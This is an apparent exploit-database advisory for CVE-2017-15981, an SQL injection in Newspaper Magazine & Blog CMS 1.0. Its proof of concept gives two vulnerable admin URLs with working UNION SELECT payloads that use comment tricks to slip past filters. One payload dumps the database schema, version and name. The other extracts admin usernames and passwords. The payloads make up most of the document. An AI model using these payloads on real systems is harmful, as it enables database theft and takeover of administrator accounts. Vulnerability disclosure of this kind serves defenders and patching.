Newspaper 1.0 - SQL Injection

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# Exploit Title: Newspaper Magazine & Blog CMS 1.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://geniusocean.com/
# Software Link: https://codecanyon.net/item/mymagazine-fully-responsive-magazine-cms/19493325
# Demo: http://demo.geniusocean.com/newspaper/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15981
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# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
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# Description:
# The vulnerability allows an attacker to inject sql commands....
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# Proof of Concept: 
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# http://localhost/[PATH]/admin/admin_process.php?act=editpollform&id=[SQL]
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# -2'++/*!00022UNION*/+/*!00022SELECT*/+0x31,(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),0x33,0x34,0x35,VerSiOn(),dAtAbAsE(),0x38,0x39,0x3130,0x3131,0x3132--+-
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# http://localhost/[PATH]/admin/admin_process.php?act=cateditform&id=[SQL]
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# -2'++/*!00022UNION*/+/*!00022SELECT*/+0x31,/*!00022cOnCat*/(username,0x3a,password),0x33,0x34,0x35+/*!00022from*/+admin--+-
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# Etc..
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